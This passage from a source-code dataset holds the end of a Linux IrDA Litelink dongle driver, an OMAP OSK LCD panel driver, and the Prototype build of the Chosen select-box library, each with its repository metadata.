TRUE); /* Sleep a minimum of 15 us */ udelay(MIN_DELAY); /* This dongles speed defaults to 115200 bps */ dev->speed = 115200; return 0; } MODULE_AUTHOR("Dag Brattli <dagb@cs.uit.no>"); MODULE_DESCRIPTION("Parallax Litelink dongle driver"); MODULE_LICENSE("GPL"); MODULE_ALIAS("irda-dongle-5"); /* IRDA_LITELINK_DONGLE */ /* * Function init_module (void) * * Initialize Litelink module * */ module_init(litelink_sir_init); /* * Function cleanup_module (void) * * Cleanup Litelink module * */ module_exit(litelink_sir_cleanup);
lyapota/s7e_marshmallow
drivers/net/irda/litelink-sir.c
C
gpl-2.0
5,357
/* * LCD panel support for the TI OMAP OSK board * * Copyright (C) 2004 Nokia Corporation * Author: Imre Deak <imre.deak@nokia.com> * Adapted for OSK by <dirk.behme@de.bosch.com> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include <linux/module.h> #include <linux/platform_device.h> #include <asm/gpio.h> #include <mach/hardware.h> #include <mach/mux.h> #include "omapfb.h" static int osk_panel_init(struct lcd_panel *panel, struct omapfb_device *fbdev) { /* gpio2 was allocated in board init */ return 0; } static void osk_panel_cleanup(struct lcd_panel *panel) { } static int osk_panel_enable(struct lcd_panel *panel) { /* configure PWL pin */ omap_cfg_reg(PWL); /* Enable PWL unit */ omap_writeb(0x01, OMAP_PWL_CLK_ENABLE); /* Set PWL level */ omap_writeb(0xFF, OMAP_PWL_ENABLE); /* set GPIO2 high (lcd power enabled) */ gpio_set_value(2, 1); return 0; } static void osk_panel_disable(struct lcd_panel *panel) { /* Set PWL level to zero */ omap_writeb(0x00, OMAP_PWL_ENABLE); /* Disable PWL unit */ omap_writeb(0x00, OMAP_PWL_CLK_ENABLE); /* set GPIO2 low */ gpio_set_value(2, 0); } static unsigned long osk_panel_get_caps(struct lcd_panel *panel) { return 0; } struct lcd_panel osk_panel = { .name = "osk", .config = OMAP_LCDC_PANEL_TFT, .bpp = 16, .data_lines = 16, .x_res = 240, .y_res = 320, .pixel_clock = 12500, .hsw = 40, .hfp = 40, .hbp = 72, .vsw = 1, .vfp = 1, .vbp = 0, .pcd = 12, .init = osk_panel_init, .cleanup = osk_panel_cleanup, .enable = osk_panel_enable, .disable = osk_panel_disable, .get_caps = osk_panel_get_caps, }; static int osk_panel_probe(struct platform_device *pdev) { omapfb_register_panel(&osk_panel); return 0; } static int osk_panel_remove(struct platform_device *pdev) { return 0; } static int osk_panel_suspend(struct platform_device *pdev, pm_message_t mesg) { return 0; } static int osk_panel_resume(struct platform_device *pdev) { return 0; } static struct platform_driver osk_panel_driver = { .probe = osk_panel_probe, .remove = osk_panel_remove, .suspend = osk_panel_suspend, .resume = osk_panel_resume, .driver = { .name = "lcd_osk", }, }; module_platform_driver(osk_panel_driver);
fbocharov/au-linux-kernel-spring-2016
linux/drivers/video/fbdev/omap/lcd_osk.c
C
gpl-2.0
2,902
/*! Chosen, a Select Box Enhancer for jQuery and Prototype by Patrick Filler for Harvest, http://getharvest.com Version 1.1.0 Full source at https://github.com/harvesthq/chosen Copyright (c) 2011 Harvest http://getharvest.com MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md This file is generated by `grunt build`, do not edit it by hand. */ (function() { var AbstractChosen, SelectParser, _ref, __hasProp = {}.hasOwnProperty, __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }; SelectParser = (function() { function SelectParser() { this.options_index = 0; this.parsed = []; } SelectParser.prototype.add_node = function(child) { if (child.nodeName.toUpperCase() === "OPTGROUP") { return this.add_group(child); } else { return this.add_option(child); } }; SelectParser.prototype.add_group = function(group) { var group_position, option, _i, _len, _ref, _results; group_position = this.parsed.length; this.parsed.push({ array_index: group_position, group: true, label: this.escapeExpression(group.label), children: 0, disabled: group.disabled }); _ref = group.childNodes; _results = []; for (_i = 0, _len = _ref.length; _i < _len; _i++) { option = _ref[_i]; _results.push(this.add_option(option, group_position, group.disabled)); } return _results; }; SelectParser.prototype.add_option = function(option, group_position, group_disabled) { if (option.nodeName.toUpperCase() === "OPTION") { if (option.text !== "") { if (group_position != null) { this.parsed[group_position].children += 1; } this.parsed.push({ array_index: this.parsed.length, options_index: this.options_index, value: option.value, text: option.text, html: option.innerHTML, selected: option.selected, disabled: group_disabled === true ? group_disabled : option.disabled, group_array_index: group_position, classes: option.className, style: option.style.cssText }); } else { this.parsed.push({ array_index: this.parsed.length, options_index: this.options_index, empty: true }); } return this.options_index += 1; } }; SelectParser.prototype.escapeExpression = function(text) { var map, unsafe_chars; if ((text == null) || text === false) { return ""; } if (!/[\&\<\>\"\'\`]/.test(text)) { return text; } map = { "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#x27;", "`": "&#x60;" }; unsafe_chars = /&(?!\w+;)|[\<\>\"\'\`]/g; return text.replace(unsafe_chars, function(chr) { return map[chr] || "&amp;"; }); }; return SelectParser; })(); SelectParser.select_to_array = function(select) { var child, parser, _i, _len, _ref; parser = new SelectParser(); _ref = select.childNodes; for (_i = 0, _len = _ref.length; _i < _len; _i++) { child = _ref[_i]; parser.add_node(child); } return parser.parsed; }; AbstractChosen = (function() { function AbstractChosen(form_field, options) { this.form_field = form_field; this.options = options != null ? options : {}; if (!AbstractChosen.browser_is_supported()) { return; } this.is_multiple = this.form_field.multiple; this.set_default_text(); this.set_default_values(); this.setup(); this.set_up_html(); this.register_observers(); } AbstractChosen.prototype.set_default_values = function() { var _this = this; this.click_test_action = function(evt) { return _this.test_active_click(evt); }; this.activate_action = function(evt) { return _this.activate_field(evt); }; this.active_field = false; this.mouse_on_container = false; this.results_showing = false; this.result_highlighted = null; this.allow_single_deselect = (this.options.allow_single_deselect != null) && (this.form_field.options[0] != null) && this.form_field.options[0].text === "" ? this.options.allow_single_deselect : false; this.disable_search_threshold = this.options.disable_search_threshold || 0; this.disable_search = this.options.disable_search || false; this.enable_split_word_search = this.options.enable_split_word_search != null ? this.options.enable_split_word_search : true; this.group_search = this.options.group_search != null ? this.options.group_search : true; this.search_contains = this.options.search_contains || false; this.single_backstroke_delete = this.options.single_backstroke_delete != null ? this.options.single_backstroke_delete : true; this.max_selected_options = this.options.max_selected_options || Infinity; this.inherit_select_classes = this.options.inherit_select_classes || false; this.display_selected_options = this.options.display_selected_options != null ? this.options.display_selected_options : true; return this.display_disabled_options = this.options.display_disabled_options != null ? this.options.display_disabled_options : true; }; AbstractChosen.prototype.set_default_text = function() { if (this.form_field.getAttribute("data-placeholder")) { this.default_text = this.form_field.getAttribute("data-placeholder"); } else if (this.is_multiple) { this.default_text = this.options.placeholder_text_multiple || this.options.placeholder_text || AbstractChosen.default_multiple_text; } else { this.default_text = this.options.placeholder_text_single || this.options.placeholder_text || AbstractChosen.default_single_text; } return this.results_none_found = this.form_field.getAttribute("data-no_results_text") || this.options.no_results_text || AbstractChosen.default_no_result_text; }; AbstractChosen.prototype.mouse_enter = function() { return this.mouse_on_container = true; }; AbstractChosen.prototype.mouse_leave = function() { return this.mouse_on_container = false; }; AbstractChosen.prototype.input_focus = function(evt) { var _this = this; if (this.is_multiple) { if (!this.active_field) { return setTimeout((function() { return _this.container_mousedown(); }), 50); } } else { if (!this.active_field) { return this.activate_field(); } } }; AbstractChosen.prototype.input_blur = function(evt) { var _this = this; if (!this.mouse_on_container) { this.active_field = false; return setTimeout((function() { return _this.blur_test(); }), 100); } }; AbstractChosen.prototype.results_option_build = function(options) { var content, data, _i, _len, _ref; content = ''; _ref = this.results_data; for (_i = 0, _len = _ref.length; _i < _len; _i++) { data = _ref[_i]; if (data.group) { content += this.result_add_group(data); } else { content += this.result_add_option(data); } if (options != null ? options.first : void 0) { if (data.selected && this.is_multiple) { this.choice_build(data); } else if (data.selected && !this.is_multiple) { this.single_set_selected_text(data.text); } } } return content; }; AbstractChosen.prototype.result_add_option = function(option) { var classes, option_el; if (!option.search_match) { return ''; } if (!this.include_option_in_results(option)) { return ''; } classes = []; if (!option.disabled && !(option.selected && this.is_multiple)) { classes.push("active-result"); } if (option.disabled && !(option.selected && this.is_multiple)) { classes.push("disabled-result"); } if (option.selected) { classes.push("result-selected"); } if (option.group_array_index != null) { classes.push("group-option"); } if (option.classes !== "") { classes.push(option.classes); } option_el = document.createElement("li"); option_el.className = classes.join(" "); option_el.style.cssText = option.style; option_el.setAttribute("data-option-array-index", option.array_index); option_el.innerHTML = option.search_text; return this.outerHTML(option_el); }; AbstractChosen.prototype.result_add_group = function(group) { var group_el; if (!(group.search_match || group.group_match)) { return ''; } if (!(group.active_options > 0)) { return ''; } group_el = document.createElement("li"); group_el.className = "group-result"; group_el.innerHTML = group.search_text; return this.outerHTML(group_el); }; AbstractChosen.prototype.results_update_field = function() { this.set_default_text(); if (!this.is_multiple) { this.results_reset_cleanup(); } this.result_clear_highlight(); this.results_build(); if (this.results_showing) { return this.winnow_results(); } }; AbstractChosen.prototype.reset_single_select_options = function() { var result, _i, _len, _ref, _results; _ref = this.results_data; _results = []; for (_i = 0, _len = _ref.length; _i < _len; _i++) { result = _ref[_i]; if (result.selected) { _results.push(result.selected = false); } else { _results.push(void 0); } } return _results; }; AbstractChosen.prototype.results_toggle = function() { if (this.results_showing) { return this.results_hide(); } else { return this.results_show(); } }; AbstractChosen.prototype.results_search = function(evt) { if (this.results_showing) { return this.winnow_results(); } else { return this.results_show(); } }; AbstractChosen.prototype.winnow_results = function() { var escapedSearchText, option, regex, regexAnchor, results, results_group, searchText, startpos, text, zregex, _i, _len, _ref; this.no_results_clear(); results = 0; searchText = this.get_search_text(); escapedSearchText = searchText.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&"); regexAnchor = this.search_contains ? "" : "^"; regex = new RegExp(regexAnchor + escapedSearchText, 'i'); zregex = new RegExp(escapedSearchText, 'i'); _ref = this.results_data; for (_i = 0, _len = _ref.length; _i < _len; _i++) { option = _ref[_i]; option.search_match = false; results_group = null; if (this.include_option_in_results(option)) { if (option.group) { option.group_match = false; option.active_options = 0; } if ((option.group_array_index != null) && this.results_data[option.group_array_index]) { results_group = this.results_data[option.group_array_index]; if (results_group.active_options === 0 && results_group.search_match) { results += 1; } results_group.active_options += 1; } if (!(option.group && !this.group_search)) { option.search_text = option.group ? option.label : option.html; option.search_match = this.search_string_match(option.search_text, regex); if (option.search_match && !option.group) { results += 1; } if (option.search_match) { if (searchText.length) { startpos = option.search_text.search(zregex); text = option.search_text.substr(0, startpos + searchText.length) + '</em>' + option.search_text.substr(startpos + searchText.length); option.search_text = text.substr(0, startpos) + '<em>' + text.substr(startpos); } if (results_group != null) { results_group.group_match = true; } } else if ((option.group_array_index != null) && this.results_data[option.group_array_index].search_match) { option.search_match = true; } } } } this.result_clear_highlight(); if (results < 1 && searchText.length) { this.update_results_content(""); return this.no_results(searchText); } else { this.update_results_content(this.results_option_build()); return this.winnow_results_set_highlight(); } }; AbstractChosen.prototype.search_string_match = function(search_string, regex) { var part, parts, _i, _len; if (regex.test(search_string)) { return true; } else if (this.enable_split_word_search && (search_string.indexOf(" ") >= 0 || search_string.indexOf("[") === 0)) { parts = search_string.replace(/\[|\]/g, "").split(" "); if (parts.length) { for (_i = 0, _len = parts.length; _i < _len; _i++) { part = parts[_i]; if (regex.test(part)) { return true; } } } } }; AbstractChosen.prototype.choices_count = function() { var option, _i, _len, _ref; if (this.selected_option_count != null) { return this.selected_option_count; } this.selected_option_count = 0; _ref = this.form_field.options; for (_i = 0, _len = _ref.length; _i < _len; _i++) { option = _ref[_i]; if (option.selected) { this.selected_option_count += 1; } } return this.selected_option_count; }; AbstractChosen.prototype.choices_click = function(evt) { evt.preventDefault(); if (!(this.results_showing || this.is_disabled)) { return this.results_show(); } }; AbstractChosen.prototype.keyup_checker = function(evt) { var stroke, _ref; stroke = (_ref = evt.which) != null ? _ref : evt.keyCode; this.search_field_scale(); switch (stroke) { case 8: if (this.is_multiple && this.backstroke_length < 1 && this.choices_count() > 0) { return this.keydown_backstroke(); } else if (!this.pending_backstroke) { this.result_clear_highlight(); return this.results_search(); } break; case 13: evt.preventDefault(); if (this.results_showing) { return this.result_select(evt); } break; case 27: if (this.results_showing) { this.results_hide(); } return true; case 9: case 38: case 40: case 16: case 91: case 17: break; default: return this.results_search(); } }; AbstractChosen.prototype.clipboard_event_checker = function(evt) { var _this = this; return setTimeout((function() { return _this.results_search(); }), 50); }; AbstractChosen.prototype.container_width = function() { if (this.options.width != null) { return this.options.width; } else { return "" + this.form_field.offsetWidth + "px"; } }; AbstractChosen.prototype.include_option_in_results = function(option) { if (this.is_multiple && (!this.display_selected_options && option.selected)) { return false; } if (!this.display_disabled_options && option.disabled) { return false; } if (option.empty) { return false; } return true; }; AbstractChosen.prototype.search_results_touchstart = function(evt) { this.touch_started = true; return this.search_results_mouseover(evt); }; AbstractChosen.prototype.search_results_touchmove = function(evt) { this.touch_started = false; return this.search_results_mouseout(evt); }; AbstractChosen.prototype.search_results_touchend = function(evt) { if (this.touch_started) { return this.search_results_mouseup(evt); } }; AbstractChosen.prototype.outerHTML = function(element) { var tmp; if (element.outerHTML) { return element.outerHTML; } tmp = document.createElement("div"); tmp.appendChild(element); return tmp.innerHTML; }; AbstractChosen.browser_is_supported = function() { if (window.navigator.appName === "Microsoft Internet Explorer") { return document.documentMode >= 8; } if (/iP(od|hone)/i.test(window.navigator.userAgent)) { return false; } if (/Android/i.test(window.navigator.userAgent)) { if (/Mobile/i.test(window.navigator.userAgent)) { return false; } } return true; }; AbstractChosen.default_multiple_text = "Select Some Options"; AbstractChosen.default_single_text = "Select an Option"; AbstractChosen.default_no_result_text = "No results match"; return AbstractChosen; })(); this.Chosen = (function(_super) { __extends(Chosen, _super); function Chosen() { _ref = Chosen.__super__.constructor.apply(this, arguments); return _ref; } Chosen.prototype.setup = function() { this.current_selectedIndex = this.form_field.selectedIndex; return this.is_rtl = this.form_field.hasClassName("chosen-rtl"); }; Chosen.prototype.set_default_values = function() { Chosen.__super__.set_default_values.call(this); this.single_temp = new Template('<a class="chosen-single chosen-default" tabindex="-1"><span>#{default}</span><div><b></b></div></a><div class="chosen-drop"><div class="chosen-search"><input type="text" autocomplete="off" /></div><ul class="chosen-results"></ul></div>'); this.multi_temp = new Template('<ul class="chosen-choices"><li class="search-field"><input type="text" value="#{default}" class="default" autocomplete="off" style="width:25px;" /></li></ul><div class="chosen-drop"><ul class="chosen-results"></ul></div>'); return this.no_results_temp = new Template('<li class="no-results">' + this.results_none_found + ' "<span>#{terms}</span>"</li>'); }; Chosen.prototype.set_up_html = function() { var container_classes, container_props; container_classes = ["chosen-container"]; container_classes.push("chosen-container-" + (this.is_multiple ? "multi" : "single")); if (this.inherit_select_classes && this.form_field.className) { container_classes.push(this.form_field.className); } if (this.is_rtl) { container_classes.push("chosen-rtl"); } container_props = { 'class': container_classes.join(' '), 'style': "width: " + (this.container_width()) + ";", 'title': this.form_field.title }; if (this.form_field.id.length) { container_props.id = this.form_field.id.replace(/[^\w]/g, '_') + "_chosen"; } this.container = this.is_multiple ? new Element('div', container_props).update(this.multi_temp.evaluate({ "default": this.default_text })) : new Element('div', container_props).update(this.single_temp.evaluate({ "default": this.default_text })); this.form_field.hide().insert({ after: this.container }); this.dropdown = this.container.down('div.chosen-drop'); this.search_field = this.container.down('input'); this.search_results = this.container.down('ul.chosen-results'); this.search_field_scale(); this.search_no_results = this.container.down('li.no-results'); if (this.is_multiple) { this.search_choices = this.container.down('ul.chosen-choices'); this.search_container = this.container.down('li.search-field'); } else { this.search_container = this.container.down('div.chosen-search'); this.selected_item = this.container.down('.chosen-single'); } this.results_build(); this.set_tab_index(); this.set_label_behavior(); return this.form_field.fire("chosen:ready", { chosen: this }); }; Chosen.prototype.register_observers = function() { var _this = this; this.container.observe("mousedown", function(evt) { return _this.container_mousedown(evt); }); this.container.observe("mouseup", function(evt) { return _this.container_mouseup(evt); }); this.container.observe("mouseenter", function(evt) { return _this.mouse_enter(evt); }); this.container.observe("mouseleave", function(evt) { return _this.mouse_leave(evt); }); this.search_results.observe("mouseup", function(evt) { return _this.search_results_mouseup(evt); }); this.search_results.observe("mouseover", function(evt) { return _this.search_results_mouseover(evt); }); this.search_results.observe("mouseout", function(evt) { return _this.search_results_mouseout(evt); }); this.search_results.observe("mousewheel", function(evt) { return _this.search_results_mousewheel(evt); }); this.search_results.observe("DOMMouseScroll", function(evt) { return _this.search_results_mousewheel(evt); }); this.search_results.observe("touchstart", function(evt) { return _this.search_results_touchstart(evt); }); this.search_results.observe("touchmove", function(evt) { return _this.search_results_touchmove(evt); }); this.search_results.observe("touchend", function(evt) { return _this.search_results_touchend(evt); }); this.form_field.observe("chosen:updated", function(evt) { return _this.results_update_field(evt); }); this.form_field.observe("chosen:activate", function(evt) { return _this.activate_field(evt); }); this.form_field.observe("chosen:open", function(evt) { return _this.container_mousedown(evt); }); this.form_field.observe("chosen:close", function(evt) { return _this.input_blur(evt); }); this.search_field.observe("blur", function(evt) { return _this.input_blur(evt); }); this.search_field.observe("keyup", function(evt) { return _this.keyup_checker(evt); }); this.search_field.observe("keydown", function(evt) { return _this.keydown_checker(evt); }); this.search_field.observe("focus", function(evt) { return _this.input_focus(evt); }); this.search_field.observe("cut", function(evt) { return _this.clipboard_event_checker(evt); }); this.search_field.observe("paste", function(evt) { return _this.clipboard_event_checker(evt); }); if (this.is_multiple) { return this.search_choices.observe("click", function(evt) { return _this.choices_click(evt); }); } else { return this.container.observe("click", function(evt) { return evt.preventDefault(); }); } }; Chosen.prototype.destroy = function() { this.container.ownerDocument.stopObserving("click", this.click_test_action); this.form_field.stopObserving(); this.container.stopObserving(); this.search_results.stopObserving(); this.search_field.stopObserving(); if (this.form_field_label != null) { this.form_field_label.stopObserving(); } if (this.is_multiple) { this.search_choices.stopObserving(); this.container.select(".search-choice-close").each(function(choice) { return choice.stopObserving(); }); } else { this.selected_item.stopObserving(); } if (this.search_field.tabIndex) { this.form_field.tabIndex = this.search_field.tabIndex; } this.container.remove(); return this.form_field.show(); }; Chosen.prototype.search_field_disabled = function() { this.is_disabled = this.form_field.disabled; if (this.is_disabled) { this.container.addClassName('chosen-disabled'); this.search_field.disabled = true; if (!this.is_multiple) { this.selected_item.stopObserving("focus", this.activate_action); } return this.close_field(); } else { this.container.removeClassName('chosen-disabled'); this.search_field.disabled = false; if (!this.is_multiple) { return this.selected_item.observe("focus", this.activate_action); } } }; Chosen.prototype.container_mousedown = function(evt) { if (!this.is_disabled) { if (evt && evt.type === "mousedown" && !this.results_showing) { evt.stop(); } if (!((evt != null) && evt.target.hasClassName("search-choice-close"))) { if (!this.active_field) { if (this.is_multiple) { this.search_field.clear(); } this.container.ownerDocument.observe("click", this.click_test_action); this.results_show(); } else if (!this.is_multiple && evt && (evt.target === this.selected_item || evt.target.up("a.chosen-single"))) { this.results_toggle(); } return this.activate_field(); } } }; Chosen.prototype.container_mouseup = function(evt) { if (evt.target.nodeName === "ABBR" && !this.is_disabled) { return this.results_reset(evt); } }; Chosen.prototype.search_results_mousewheel = function(evt) { var delta; delta = -evt.wheelDelta || evt.detail; if (delta != null) { evt.preventDefault(); if (evt.type === 'DOMMouseScroll') { delta = delta * 40; } return this.search_results.scrollTop = delta + this.search_results.scrollTop; } }; Chosen.prototype.blur_test = function(evt) { if (!this.active_field && this.container.hasClassName("chosen-container-active")) { return this.close_field(); } }; Chosen.prototype.close_field = function() { this.container.ownerDocument.stopObserving("click", this.click_test_action); this.active_field = false; this.results_hide(); this.container.removeClassName("chosen-container-active"); this.clear_backstroke(); this.show_search_field_default(); return this.search_field_scale(); }; Chosen.prototype.activate_field = function() { this.container.addClassName("chosen-container-active"); this.active_field = true; this.search_field.value = this.search_field.value; return this.search_field.focus(); }; Chosen.prototype.test_active_click = function(evt) { if (evt.target.up('.chosen-container') === this.container) { return this.active_field = true; } else { return this.close_field(); } }; Chosen.prototype.results_build = function() { this.parsing = true; this.selected_option_count = null; this.results_data = SelectParser.select_to_array(this.form_field); if (this.is_multiple) { this.search_choices.select("li.search-choice").invoke("remove"); } else if (!this.is_multiple) { this.single_set_selected_text(); if (this.disable_search || this.form_field.options.length <= this.disable_search_threshold) { this.search_field.readOnly = true; this.container.addClassName("chosen-container-single-nosearch"); } else { this.search_field.readOnly = false; this.container.removeClassName("chosen-container-single-nosearch"); } } this.update_results_content(this.results_option_build({ first: true })); this.search_field_disabled(); this.show_search_field_default(); this.search_field_scale(); return this.parsing = false; }; Chosen.prototype.result_do_highlight = function(el) { var high_bottom, high_top, maxHeight, visible_bottom, visible_top; this.result_clear_highlight(); this.result_highlight = el; this.result_highlight.addClassName("highlighted"); maxHeight = parseInt(this.search_results.getStyle('maxHeight'), 10); visible_top = this.search_results.scrollTop; visible_bottom = maxHeight + visible_top; high_top = this.result_highlight.positionedOffset().top; high_bottom = high_top + this.result_highlight.getHeight(); if (high_bottom >= visible_bottom) { return this.search_results.scrollTop = (high_bottom - maxHeight) > 0 ? high_bottom - maxHeight : 0; } else if (high_top < visible_top) { return this.search_results.scrollTop = high_top; } }; Chosen.prototype.result_clear_highlight = function() { if (this.result_highlight) { this.result_highlight.removeClassName('highlighted'); } return this.result_highlight = null; }; Chosen.prototype.results_show = function() { if (this.is_multiple && this.max_selected_options <= this.choices_count()) { this.form_field.fire("chosen:maxselected", { chosen: this }); return false; } this.container.addClassName("chosen-with-drop"); this.results_showing = true; this.search_field.focus(); this.search_field.value = this.search_field.value; this.winnow_results(); return this.form_field.fire("chosen:showing_dropdown", { chosen: this }); }; Chosen.prototype.update_results_content = function(content) { return this.search_results.update(content); }; Chosen.prototype.results_hide = function() { if (this.results_showing) { this.result_clear_highlight(); this.container.removeClassName("chosen-with-drop"); this.form_field.fire("chosen:hiding_dropdown", { chosen: this }); } return this.results_showing = false; }; Chosen.prototype.set_tab_index = function(el) { var ti; if (this.form_field.tabIndex) { ti = this.form_field.tabIndex; this.form_field.tabIndex = -1; return this.search_field.tabIndex = ti; } }; Chosen.prototype.set_label_behavior = function() { var _this = this; this.form_field_label = this.form_field.up("label"); if (this.form_field_label == null) { this.form_field_label = $$("label[for='" + this.form_field.id + "']").first(); } if (this.form_field_label != null) { return this.form_field_label.observe("click", function(evt) { if (_this.is_multiple) { return _this.container_mousedown(evt); } else { return _this.activate_field(); } }); } }; Chosen.prototype.show_search_field_default = function() { if (this.is_multiple && this.choices_count() < 1 && !this.active_field) { this.search_field.value = this.default_text; return this.search_field.addClassName("default"); } else { this.search_field.value = ""; return this.search_field.removeClassName("default"); } }; Chosen.prototype.search_results_mouseup = function(evt) { var target; target = evt.target.hasClassName("active-result") ? evt.target : evt.target.up(".active-result"); if (target) { this.result_highlight = target; this.result_select(evt); return this.search_field.focus(); } }; Chosen.prototype.search_results_mouseover = function(evt) { var target; target = evt.target.hasClassName("active-result") ? evt.target : evt.target.up(".active-result"); if (target) { return this.result_do_highlight(target); } }; Chosen.prototype.search_results_mouseout = function(evt) { if (evt.target.hasClassName('active-result') || evt.target.up('.active-result')) { return this.result_clear_highlight(); } }; Chosen.prototype.choice_build = function(item) { var choice, close_link, _this = this; choice = new Element('li', { "class": "search-choice" }).update("<span>" + item.html + "</span>"); if (item.disabled) { choice.addClassName('search-choice-disabled'); } else { close_link = new Element('a', { href: '#', "class": 'search-choice-close', rel: item.array_index }); close_link.observe("click", function(evt) { return _this.choice_destroy_link_click(evt); }); choice.insert(close_link); } return this.search_container.insert({ before: choice }); }; Chosen.prototype.choice_destroy_link_click = function(evt) { evt.preventDefault(); evt.stopPropagation(); if (!this.is_disabled) { return this.choice_destroy(evt.target); } }; Chosen.prototype.choice_destroy = function(link) { if (this.result_deselect(link.readAttribute("rel"))) { this.show_search_field_default(); if (this.is_multiple && this.choices_count() > 0 && this.search_field.value.length < 1) { this.results_hide(); } link.up('li').remove(); return this.search_field_scale(); } }; Chosen.prototype.results_reset = function() { this.reset_single_select_options(); this.form_field.options[0].selected = true; this.single_set_selected_text(); this.show_search_field_default(); this.results_reset_cleanup(); if (typeof Event.simulate === 'function') { this.form_field.simulate("change"); } if (this.active_field) { return this.results_hide(); } }; Chosen.prototype.results_reset_cleanup = function() { var deselect_trigger; this.current_selectedIndex = this.form_field.selectedIndex; deselect_trigger = this.selected_item.down("abbr"); if (deselect_trigger) { return deselect_trigger.remove(); } }; Chosen.prototype.result_select = function(evt) { var high, item; if (this.result_highlight) { high = this.result_highlight; this.result_clear_highlight(); if (this.is_multiple && this.max_selected_options <= this.choices_count()) { this.form_field.fire("chosen:maxselected", { chosen: this }); return false; } if (this.is_multiple) { high.removeClassName("active-result"); } else { this.reset_single_select_options(); } high.addClassName("result-selected"); item = this.results_data[high.getAttribute("data-option-array-index")]; item.selected = true; this.form_field.options[item.options_index].selected = true; this.selected_option_count = null; if (this.is_multiple) { this.choice_build(item); } else { this.single_set_selected_text(item.text); } if (!((evt.metaKey || evt.ctrlKey) && this.is_multiple)) { this.results_hide(); } this.search_field.value = ""; if (typeof Event.simulate === 'function' && (this.is_multiple || this.form_field.selectedIndex !== this.current_selectedIndex)) { this.form_field.simulate("change"); } this.current_selectedIndex = this.form_field.selectedIndex; return this.search_field_scale(); } }; Chosen.prototype.single_set_selected_text = function(text) { if (text == null) { text = this.default_text; } if (text === this.default_text) { this.selected_item.addClassName("chosen-default"); } else { this.single_deselect_control_build(); this.selected_item.removeClassName("chosen-default"); } return this.selected_item.down("span").update(text); }; Chosen.prototype.result_deselect = function(pos) { var result_data; result_data = this.results_data[pos]; if (!this.form_field.options[result_data.options_index].disabled) { result_data.selected = false; this.form_field.options[result_data.options_index].selected = false; this.selected_option_count = null; this.result_clear_highlight(); if (this.results_showing) { this.winnow_results(); } if (typeof Event.simulate === 'function') { this.form_field.simulate("change"); } this.search_field_scale(); return true; } else { return false; } }; Chosen.prototype.single_deselect_control_build = function() { if (!this.allow_single_deselect) { return; } if (!this.selected_item.down("abbr")) { this.selected_item.down("span").insert({ after: "<abbr class=\"search-choice-close\"></abbr>" }); } return this.selected_item.addClassName("chosen-single-with-deselect"); }; Chosen.prototype.get_search_text = function() { if (this.search_field.value === this.default_text) { return ""; } else { return this.search_field.value.strip().escapeHTML(); } }; Chosen.prototype.winnow_results_set_highlight = function() { var do_high; if (!this.is_multiple) { do_high = this.search_results.down(".result-selected.active-result"); } if (do_high == null) { do_high = this.search_results.down(".active-result"); } if (do_high != null) { return this.result_do_highlight(do_high); } }; Chosen.prototype.no_results = function(terms) { this.search_results.insert(this.no_results_temp.evaluate({ terms: terms })); return this.form_field.fire("chosen:no_results", { chosen: this }); }; Chosen.prototype.no_results_clear = function() { var nr, _results; nr = null; _results = []; while (nr = this.search_results.down(".no-results")) { _results.push(nr.remove()); } return _results; }; Chosen.prototype.keydown_arrow = function() { var next_sib; if (this.results_showing && this.result_highlight) { next_sib = this.result_highlight.next('.active-result'); if (next_sib) { return this.result_do_highlight(next_sib); } } else { return this.results_show(); } }; Chosen.prototype.keyup_arrow = function() { var actives, prevs, sibs; if (!this.results_showing && !this.is_multiple) { return this.results_show(); } else if (this.result_highlight) { sibs = this.result_highlight.previousSiblings(); actives = this.search_results.select("li.active-result"); prevs = sibs.intersect(actives); if (prevs.length) { return this.result_do_highlight(prevs.first()); } else { if (this.choices_count() > 0) { this.results_hide(); } return this.result_clear_highlight(); } } }; Chosen.prototype.keydown_backstroke = function() { var next_available_destroy; if (this.pending_backstroke) { this.choice_destroy(this.pending_backstroke.down("a")); return this.clear_backstroke(); } else { next_available_destroy = this.search_container.siblings().last(); if (next_available_destroy && next_available_destroy.hasClassName("search-choice") && !next_available_destroy.hasClassName("search-choice-disabled")) { this.pending_backstroke = next_available_destroy; if (this.pending_backstroke) { this.pending_backstroke.addClassName("search-choice-focus"); } if (this.single_backstroke_delete) { return this.keydown_backstroke(); } else { return this.pending_backstroke.addClassName("search-choice-focus"); } } } }; Chosen.prototype.clear_backstroke = function() { if (this.pending_backstroke) { this.pending_backstroke.removeClassName("search-choice-focus"); } return this.pending_backstroke = null; }; Chosen.prototype.keydown_checker = function(evt) { var stroke, _ref1; stroke = (_ref1 = evt.which) != null ? _ref1 : evt.keyCode; this.search_field_scale(); if (stroke !== 8 && this.pending_backstroke) { this.clear_backstroke(); } switch (stroke) { case 8: this.backstroke_length = this.search_field.value.length; break; case 9: if (this.results_showing && !this.is_multiple) { this.result_select(evt); } this.mouse_on_container = false; break; case 13: evt.preventDefault(); break; case 38: evt.preventDefault(); this.keyup_arrow(); break; case 40: evt.preventDefault(); this.keydown_arrow(); break; } }; Chosen.prototype.search_field_scale = function() { var div, f_width, h, style, style_block, styles, w, _i, _len; if (this.is_multiple) { h = 0; w = 0; style_block = "position:absolute; left: -1000px; top: -1000px; display:none;"; styles = ['font-size', 'font-style', 'font-weight', 'font-family', 'line-height', 'text-transform', 'letter-spacing']; for (_i = 0, _len = styles.length; _i < _len; _i++) { style = styles[_i]; style_block += style + ":" + this.search_field.getStyle(style) + ";"; } div = new Element('div', { 'style': style_block }).update(this.search_field.value.escapeHTML()); document.body.appendChild(div); w = Element.measure(div, 'width') + 25; div.remove(); f_width = this.container.getWidth(); if (w > f_width - 10) { w = f_width - 10; } return this.search_field.setStyle({ 'width': w + 'px' }); } }; return Chosen; })(AbstractChosen); }).call(this);
